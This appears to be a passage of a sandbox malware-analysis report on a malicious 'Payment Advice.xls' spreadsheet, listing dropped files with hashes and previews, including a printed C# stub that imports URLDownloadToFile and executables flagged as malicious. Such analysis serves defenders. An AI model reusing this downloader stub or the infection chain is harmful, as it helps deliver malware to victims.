Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\zedpap0h.oz0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\zkybtyb3.12m.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\zpwvvpvf\CSC31AA5FCDA54445E088EDA110AE3BEBC4.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1160323863458923
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gry6lgak7YnqqplFPN5Dlq5J:+RI+ycuZhNQlgakSplFPNnqX
MD5:	E2824A2693B2A9D60BD6B710CB92E257
SHA1:	969F9E75166A86CE3283387842A329DF8FB02626
SHA-256:	1C0594035E7064754C53714AA55B4826AE2B72C013B3B419D3CFD620A30A73F0
SHA-512:	EB636DFE9D3429CA01D3A96E1B08F001A189ADCBC0663EF63C8FBCCE201112FDE9C9205573642BF89DB9265BA5641165A27F7148BF556462B14171282157A3D3
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...z.p.w.v.v.p.v.f...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...z.p.w.v.v.p.v.f...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\zpwvvpvf\zpwvvpvf.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (372)
Category:	dropped
Size (bytes):	484
Entropy (8bit):	3.8560947564999073
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zu9l3NPMGHvQXReKJ8SRHy4HXQrBSOscVdmevvIy:V/DTLDfuhAXfHDQjmeYy
MD5:	FE82050659A8B97690D60529499222C1
SHA1:	7CC50135852B46DD1E36F2FF98506613DB525A68
SHA-256:	64C38563C4588B718B03AEC685677F173456D3C961EF97CD95E7784EE1E51A6A
SHA-512:	59356FD5CBB38A06BF09E182B8ED7C7C2200E6F8DE8E950BE38BEE0C45AA96B2DBF202BDC56097A74ACC4E0A8BC601558E83C098A376630CFA1BCCE64133D64F
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace WPfW.{. public class dXGM. {. [DllImport("urlmON", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr ZPntVsRhAh,string MyjpqIkQwDb,string ujQQpSXoIWy,uint M,IntPtr aYypvlykpe);.. }..}.

C:\Users\user\AppData\Local\Temp\zpwvvpvf\zpwvvpvf.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.247058552851948
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2P23fyZP2Pqzxs7+AEszIP23fyZP2PPn:p37Lvkmb6Kz6ZP2PqWZEo6ZP2PP
MD5:	C2D6D171E646ACD5A992C45CEF48B28E
SHA1:	EB2AF197C24C18DF179CDE70CEA44F232B0A7313
SHA-256:	BA3B9F484180F97E57092756CA1968FCAEE6D6022B8857F20B57A2F2618086F3
SHA-512:	5B834AD948C0FAC3EAD0188FD4A4520D2721ACBF5904DAC7976B9146BB0816493BC4787F2EECB918167087888EA36EFC65BFABEEB913E990914F9CADCE7979E6
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\zpwvvpvf\zpwvvpvf.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\zpwvvpvf\zpwvvpvf.0.cs"

C:\Users\user\AppData\Local\Temp\zpwvvpvf\zpwvvpvf.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.8621138631184917
Encrypted:	false
SSDEEP:	24:etGSXcPBG5eAdF8qdd/ka5AY+oTqtkZfL3oMEWI+ycuZhNQlgakSplFPNnq:6TsAdeqZ+uJL3oMn1ulwga3Lfq
MD5:	739890FBE3C8BE5AACE76078055D80E4
SHA1:	51D0DEC47702F448F6D54A86ECDC22CA6EAFDC0E
SHA-256:	89A732AFF0C278C8282F3DC812361150A3F671396FCCD445AF84CAC43254011F
SHA-512:	AA63BCB4F298306C106676B9341246967615BDE4D2D3C21F7C2CC6D8E8581E7F3D50C2AA2B2965A857EF5B9F6DE365E7DAB130A8CC88DCDDD656373775E2264E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...J.=g...........!.................#... ...@....... ....................................@.................................`#..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....BSJB............v4.0.30319......l.......#~...... ...#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................1....................................................... 8.....P ......J.........P.....[.....g.....s.....u...J.....J...!.J.....J.......!.....*.......8.......................................!..........<Module>.zp

C:\Users\user\AppData\Local\Temp\zpwvvpvf\zpwvvpvf.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators
Category:	modified
Size (bytes):	866
Entropy (8bit):	5.338810386197388
Encrypted:	false
SSDEEP:	24:AId3ka6KzYOjEoYO+KaMD5DqBVKVrdFAMBJTH:Akka60DEoeKdDcVKdBJj
MD5:	F35DA853E4E2F5E829BD10D02BA863CB
SHA1:	AAB0DCEE08F75D48130B89B84D7D19B5A0C38EC2
SHA-256:	D594FE1DEFFD9FB1135D05C8B21B53C2CE313AF6FB583823838BEE5EB869E825
SHA-512:	FBE689246642694DD34C31E24D0B42493119D05FCD3B1F38985E6AAEB6836ABE0012AC7C5B19E02D18E4F9DF25A646E80ED07554D56986F21045775EABC3C53F
Malicious:	false
Preview:	.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\zpwvvpvf\zpwvvpvf.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\zpwvvpvf\zpwvvpvf.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.3761.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\zwyw2omb.eeq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\zzpagiam.5a2.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\~DF6CCF4596F2406470.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	676352
Entropy (8bit):	7.983724221826814
Encrypted:	false
SSDEEP:	12288:yI9Ien9OVRqfPSMCfhhBKNle3/XPL9dnq/M/+5wyLPH9Jwjm:DLnCRwSNjBKNA/XTDqHLPkj
MD5:	BE8B2204BF4B1C13E57632D3B2509012
SHA1:	3D83C474D340C0CA3CE845E5B289BCFCEF7CF57B
SHA-256:	AF2D0D0D2277ADA25E12029775E265428CDBCB9CD0FBBAC50BE00E3265BDD771
SHA-512:	6FC0E0DD86E5EE542E9BCF3ADB6346BB42C29429E912D8C151B20D4E4097B28F98CD2D380AA2A01CA5CC7C815567C31F2712021EDDE0BF69D2F45CF86DBCC28D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\AppData\Local\Temp\~DF6D08248E007BBF07.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFB2E53F3C936E1C95.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFE43205A127440685.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	684032
Entropy (8bit):	7.939241252996024
Encrypted:	false
SSDEEP:	12288:SI9Ien9OVRqfPSMCfhhBKNle3/XPL9dnq/M/+5wyLPH9Jwjm:jLnCRwSNjBKNA/XTDqHLPkj
MD5:	74F3FB367063DF4F13B131A8E1B608AC
SHA1:	99F202D01073BFB75EBB0DD4595A84093D99CE55
SHA-256:	D3377C7947A065C85F0FF8CC0BE16759776FB9AF6BED981B5691602A48CED628
SHA-512:	EEDDA2504A6C6692228668A13586743464247C35348E92EA18297F496FDEC80EAD0174031BB8721A5F9628CDAE9ABECA9F94A0A3FB5CDEB9EB6C2CF15337A3F4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_store

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	data
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.6739662216458647
Encrypted:	false
SSDEEP:	12:Ppb0slZp69PO9tauZ7nH2AaYSQ81v0t4TreIBUxFj87+k/R:RbG4WuZfKZ1c+reIAon/R
MD5:	C61F99FE7BEE945FC31B62121BE075CD
SHA1:	083BBD0568633FECB8984002EB4FE8FA08E17DD9
SHA-256:	1E0973F4EDEF345D1EA8E90E447B9801FABDE63A2A1751E63B91A8467E130732
SHA-512:	46D743C564A290EDFF307F8D0EF012BB01ED4AA6D9667E87A53976B8F3E87D78BEBE763121A91BA8FB5B0CF5A8C9FDE313D7FBD144FB929D98D7D39F4C9602C9
Malicious:	false
Preview:	....+..F..N..F).~]............\.">.. .......p.J..} /o...rLj-...FS..'x.o..%^ .....zr/..3.y.e4...MM.4..x9.f.D..{..(....'p......9...Qn..d..+.....H..M.)..........].....n-.]........n&.*.H`.sz...r.....1B.....e.."...A.....,-....n..$.<....CO..VO..P..'.......<......n....&5s....z..$.{'IM-.o..(#N.-..(H...a&...y.S..`8.(./...1.P.. .....K.3.......I!]G....@N........F.l.T=.0...`"..L....B...B`nI.<.....&F..2J2....1..Rs....h.Zq.`...t..CJ....@.....I.G.e..k..H.....F..G:..6.G.l=.Y......:...C.........?[.ts...=....;.\|...q...@....s................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storei

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	data
Category:	dropped
Size (bytes):	24152
Entropy (8bit):	0.7513521539333206
Encrypted:	false
SSDEEP:	24:CMLhbFnirW0rAHV4Ji9Tp5fGtFTIvs5/KUC6m6C9xRjNi1uiHIzVp9:CMBFF0kKJoTetFTFZKR6axR6uiozVb
MD5:	8A8D71BED4B5760F2F82C680C2C8CACC
SHA1:	FA589EA7BA858C514079289BCEA3625432110427
SHA-256:	78CF9C5CCAC6BEF4326F7514D4083BBC223347412A3D2975EDA8AD679D4EEB2B
SHA-512:	8D06BAC9D7433AAAD1126CF922F133FF2946A830507BFA0308677D3D81E5559A708D7733BB87C9CA70A8146DD6C2DB5B50A4D97F9442FE615483711B12445BC9
Malicious:	false
Preview:	...W....K.h.E..g..0...!1sm.[t\......A......Ov..M..E........b...\|,.g..t..;x..l..w......:......:..._.u.X....K../...eg..d......di...#....Y....3..m...M..S..U...-.`..2Z..............?.......o P.=...@p...H..J....-..*:..0.z\.i.U..(.3...Z7..8k.......x.Ja&%.t.,..%\...HALm[."..H.....`..kO'..>.6....C.X...Hv..p.~B..-i....C..J>t<...g.n7'....$.........1..1S..4.r.).m...pO........-..9..Y....H.o_u...j....D.+&.9wu5H..r.z...A...%........3.... ......E-....a.p.-!...z...j..J....tSE.B........b..o;.nG.2^...Y,.....5...;......?.K9.{..z\D.G..%..0.,..(..oS...5.......gem...\|a...p.uE.G8+....[q......G.;K....,..1&.....b...../%'.Q.;Kl...._"...:]Q.L...Q1?....5..@t .E%......w}..(...J.]..........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\CF97F5\5879F5.exe (copy)

Download File

Process:	C:\Users\user\AppData\Roaming\caspol.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	600576
Entropy (8bit):	7.915042903583073
Encrypted:	false
SSDEEP:	12288:frO3+Ri3AgFdygxDJz5WFux50+KnCKmfRLdW3Kt9c+O7:LQ3AgyKJdG+wmNdsKM+O7
MD5:	74061922F1E78C237A66D12A15A18181
SHA1:	E31EE444AAA552A100F006E43F0810497A3B0387
SHA-256:	89BF888148EAE2CAABDC6D3FFF98054127B197B402493581894A3104ED6B6F1C
SHA-512:	306744107D78B02ECFD28252DAE954F0B47C1F761E15A33C937474A2E15284C17BB7E2542618B745EA5F95E5A7DBA3D27B675C8837914A44D8B5B350A3D4A136
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5=g..............0...... .......'... ...@....@.. ....................................`..................................&..O....@..\|....................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc...\|....@......................@..@.reloc.......`.......(..............@..B.................'......H........6...(...........^..(.............................................(......}.....{....r...p .....o5....{....o7...&....0...........{......o9.....}........&.......................0..t........o.....{.....{....r...p(....o:.......+%.....{.....o....o;.....o......&....X....i2..{.....o<.......&.{....o=..............+..E..........\b......2.{....oA...n.(......}......}.....(....*....0...........{....o......3...%..;.o......{....o.....s......{.......o....,ir5..p..o......+...(...

C:\Users\user\AppData\Roaming\CF97F5\5879F5.lck

Download File

Process:	C:\Users\user\AppData\Roaming\caspol.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-966771315-3019405637-367336477-1006\f554348b930ff81505ce47f7c6b7d232_ea860e7a-a87f-4a88-92ef-38f744458171

Download File

Process:	C:\Users\user\AppData\Roaming\caspol.exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	1.0424600748477153
Encrypted:	false
SSDEEP:	3:/lbWwWl:sZ
MD5:	3B7B4F5326139F48EFA0AAE509E2FE58
SHA1:	209A1CE7AF7FF28CCD52AE9C8A89DEE5F2C1D57A
SHA-256:	D47B073BF489AB75A26EBF82ABA0DAB7A484F83F8200AB85EBD57BED472022FC
SHA-512:	C99D99EA71E54629815099464A233E7617E4E118DD5B2A7A32CF41141CB9815DF47B0A40D1A9F89980C307596B53DD63F76DD52CF10EE21F47C635C5F68786B5
Malicious:	false
Preview:	........................................user.

C:\Users\user\AppData\Roaming\caspol.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	600576
Entropy (8bit):	7.915042903583073
Encrypted:	false
SSDEEP:	12288:frO3+Ri3AgFdygxDJz5WFux50+KnCKmfRLdW3Kt9c+O7:LQ3AgyKJdG+wmNdsKM+O7
MD5:	74061922F1E78C237A66D12A15A18181
SHA1:	E31EE444AAA552A100F006E43F0810497A3B0387
SHA-256:	89BF888148EAE2CAABDC6D3FFF98054127B197B402493581894A3104ED6B6F1C
SHA-512:	306744107D78B02ECFD28252DAE954F0B47C1F761E15A33C937474A2E15284C17BB7E2542618B745EA5F95E5A7DBA3D27B675C8837914A44D8B5B350A3D4A136
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5=g..............0...... .......'... ...@....@.. ....................................`..................................&..O....@..\|....................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc...\|....@......................@..@.reloc.......`.......(..............@..B.................'......H........6...(...........^..(.............................................(......}.....{....r...p .....o5....{....o7...&....0...........{......o9.....}........&.......................0..t........o.....{.....{....r...p(....o:.......+%.....{.....o....o;.....o......&....X....i2..{.....o<.......&.{....o=..............+..E..........\b......2.{....oA...n.(......}......}.....(....*....0...........{....o......3...%..;.o......{....o.....s......{.......o....,ir5..p..o......+...(...

C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe

Download File

Process:	C:\Users\user\AppData\Roaming\caspol.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	600576
Entropy (8bit):	7.915042903583073
Encrypted:	false
SSDEEP:	12288:frO3+Ri3AgFdygxDJz5WFux50+KnCKmfRLdW3Kt9c+O7:LQ3AgyKJdG+wmNdsKM+O7
MD5:	74061922F1E78C237A66D12A15A18181
SHA1:	E31EE444AAA552A100F006E43F0810497A3B0387
SHA-256:	89BF888148EAE2CAABDC6D3FFF98054127B197B402493581894A3104ED6B6F1C
SHA-512:	306744107D78B02ECFD28252DAE954F0B47C1F761E15A33C937474A2E15284C17BB7E2542618B745EA5F95E5A7DBA3D27B675C8837914A44D8B5B350A3D4A136
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5=g..............0...... .......'... ...@....@.. ....................................`..................................&..O....@..\|....................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc...\|....@......................@..@.reloc.......`.......(..............@..B.................'......H........6...(...........^..(.............................................(......}.....{....r...p .....o5....{....o7...&....0...........{......o9.....}........&.......................0..t........o.....{.....{....r...p(....o:.......+%.....{.....o....o;.....o......&....X....i2..{.....o<.......&.{....o=..............+..E..........\b......2.{....oA...n.(......}......}.....(....*....0...........{....o......3...%..;.o......{....o.....s......{.......o....,ir5..p..o......+...(...

C:\Users\user\Desktop\CA430000

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Wed Nov 20 06:57:01 2024, Security: 1
Category:	dropped
Size (bytes):	935936
Entropy (8bit):	7.986092737447108
Encrypted:	false
SSDEEP:	12288:vCtI9Ien9OVRqfPSMCfhhBKNle3/XPL9dnq/M/+5wyLPH9JwjmeOsjF+8+SaxMDa:TLnCRwSNjBKNA/XTDqHLPkjeoOTxKVc
MD5:	FE52E1B2FAD0A9DBC313BFCEF716BB24
SHA1:	588DDDB8316556F896831E956356EE9C42839318
SHA-256:	81879191E77853BB80A206C89FD2E4342FCD80C10FDEE0B0FCE3D4AA7DE20791
SHA-512:	A3412C3E99F5D97DBF2DA9CF25F2FB73B1B682763452C105919ED91C1E807E179B3B627F0B58145EE43FCDB48F6F3485493E36059BA4F50BADCB62A7E48265DE
Malicious:	false
Preview:	......................>...................................$...........................................................f.......h.......................................................................................................................................................................................................................................................................................................................................................................................................!................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\Desktop\CA430000:Zone.Identifier

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Desktop\Payment Advice.xls (copy)

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Wed Nov 20 06:57:01 2024, Security: 1
Category:	dropped
Size (bytes):	935936
Entropy (8bit):	7.986092737447108
Encrypted:	false
SSDEEP:	12288:vCtI9Ien9OVRqfPSMCfhhBKNle3/XPL9dnq/M/+5wyLPH9JwjmeOsjF+8+SaxMDa:TLnCRwSNjBKNA/XTDqHLPkjeoOTxKVc
MD5:	FE52E1B2FAD0A9DBC313BFCEF716BB24
SHA1:	588DDDB8316556F896831E956356EE9C42839318
SHA-256:	81879191E77853BB80A206C89FD2E4342FCD80C10FDEE0B0FCE3D4AA7DE20791
SHA-512:	A3412C3E99F5D97DBF2DA9CF25F2FB73B1B682763452C105919ED91C1E807E179B3B627F0B58145EE43FCDB48F6F3485493E36059BA4F50BADCB62A7E48265DE
Malicious:	true
Preview:	......................>...................................$...........................................................f.......h.......................................................................................................................................................................................................................................................................................................................................................................................................!................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Wed Nov 20 01:29:52 2024, Security: 1
Entropy (8bit):	7.9810419545717215
TrID:	Microsoft Excel sheet (30009/1) 47.99% Microsoft Excel sheet (alternate) (24509/1) 39.20% Generic OLE2 / Multistream Compound File (8008/1) 12.81%
File name:	Payment Advice.xls
File size:	1'136'128 bytes
MD5:	5a69ac58c3133e24a783cf4ea670a243
SHA1:	7fdf7feed6f105ce6bfeb34fb44c9c58dfe9057e
SHA256:	f942a3046520f7838e33a1116faf8b9a6615756f044551651207f53b755a024d
SHA512:	5b338a97aacf226f9e4360eec8fa2149cb5a77836f357e76c276a799625f91ceb4c9b49c0ef13a9fc31a98770eb0088192ba0b05b2ec668beaa5cd71ccc30c04
